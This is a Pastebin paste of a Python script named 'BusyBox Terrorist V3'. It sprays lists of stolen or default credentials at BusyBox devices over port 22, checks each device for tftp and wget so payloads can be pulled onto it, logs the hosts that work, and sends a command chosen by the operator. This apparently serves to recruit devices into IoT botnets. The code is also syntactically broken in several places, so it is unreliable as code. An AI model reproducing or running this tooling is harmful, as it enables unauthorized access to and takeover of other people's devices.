Advertisement
GodlyPacketz

BusyBox Terrorist V3

Oct 10th, 2017
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.24 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import sys, time, socket
  3. #import telnetlib
  4. from multiprocessing import Process
  5.  
  6. print "\n"
  7. print "▀█████████▄  ███    █▄   ▄███████▄  ▄██   ▄        ▀█████████▄   ▄██████▄  ▀████    ▐████▀ "
  8. print "  ███    ███ ███    ███ ██▀     ▄██ ███   ██▄        ███    ███ ███    ███   ███▌   ████▀  "
  9. print "  ███    ███ ███    ███       ▄███▀ ███▄▄▄███        ███    ███ ███    ███    ███  ▐███    "
  10. print " ▄███▄▄▄██▀  ███    ███  ▀█▀▄███▀▄▄ ▀▀▀▀▀▀███       ▄███▄▄▄██▀  ███    ███    ▀███▄███▀    "
  11. print "▀▀███▀▀▀██▄  ███    ███   ▄███▀   ▀ ▄██   ███      ▀▀███▀▀▀██▄  ███    ███    ████▀██▄     "
  12. print "  ███    ██▄ ███    ███ ▄███▀       ███   ███        ███    ██▄ ███    ███   ▐███  ▀███    "
  13. print "  ███    ███ ███    ███ ███▄     ▄█ ███   ███        ███    ███ ███    ███  ▄███     ███▄  "
  14. print "▄█████████▀  ████████▀   ▀████████▀  ▀█████▀       ▄█████████▀   ▀██████▀  ████       ███▄ "
  15. print "\n"
  16.  
  17. if len(sys.argv) < 5:
  18.     print "[+] Welcome to BuZy BoX TerRoRiSt v3, now with WGET and TFTP detection!, Arch detection coming in v4"
  19.         sys.exit("[+] Usage: "+sys.argv[0]+" [input-file] [output-file] [threads] [cmd-to-issue]")
  20. thread_cnt = int(sys.argv[3]
  21. thread_tot = 0
  22. read_h = open(str(sys.argv[1]),'a+')
  23. def check(HOST,user,password):
  24.    host = HOST
  25.    try:
  26.     tn = socket.socket()
  27.     tn.connect((HOST,22))
  28.     print "Connected to "+HOST
  29.     print tn.recv(40960)
  30.     tn.send(user + "\n")
  31.     time.sleep(1)
  32.     print tn.recv(40960)
  33.     time.sleep(1)
  34.     tn.send(password + "\n")
  35.     print "Spraying "+HOST
  36.     if 'ncorrect' in tn.recv(40960): raise Exception
  37.     tn.send('tftp\n')
  38.     tftp = tn.recv(40960)
  39.     if 'ot found' in tftp: raise Exception; print "[-] FUCK NO TFTP"
  40.     else:
  41.     print "[+] TFTP was detected"
  42.     f = open(str(sys.argv[2]),'a+')
  43.         f.write('%s:%s:%s:tftp\n' % (host,user,password.rstrip()))
  44.     tn.send('wget\n')
  45.     wget = tn.recv(40960)
  46.     if 'ot found' in wget: raise Exception; print "[-] FUCK NO WGET"
  47.     else:
  48.     print "[+] WGET was detected"
  49.     f = open(str(sys.argv[2]),'a+')
  50.     f.write('%s:%s:%s:wget\n' % (host,user,password.rstrip()))
  51.     tn.send("sys.argv[4]")
  52.    except Exception as e:
  53.     print e
  54.     exit()
  55.  
  56. for line in read_h:
  57.     print line
  58.     ip_info = line.split(":")
  59.     p = Process(target=check, args=(ip_info[0],ip_info[1],ip_info[2],))
  60.     p.start()
  61.     thread_tot += 1
  62.     if thread_tot > thread_cnt:
  63.        p.join()
  64.        thread_tot = 0
  65. p.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement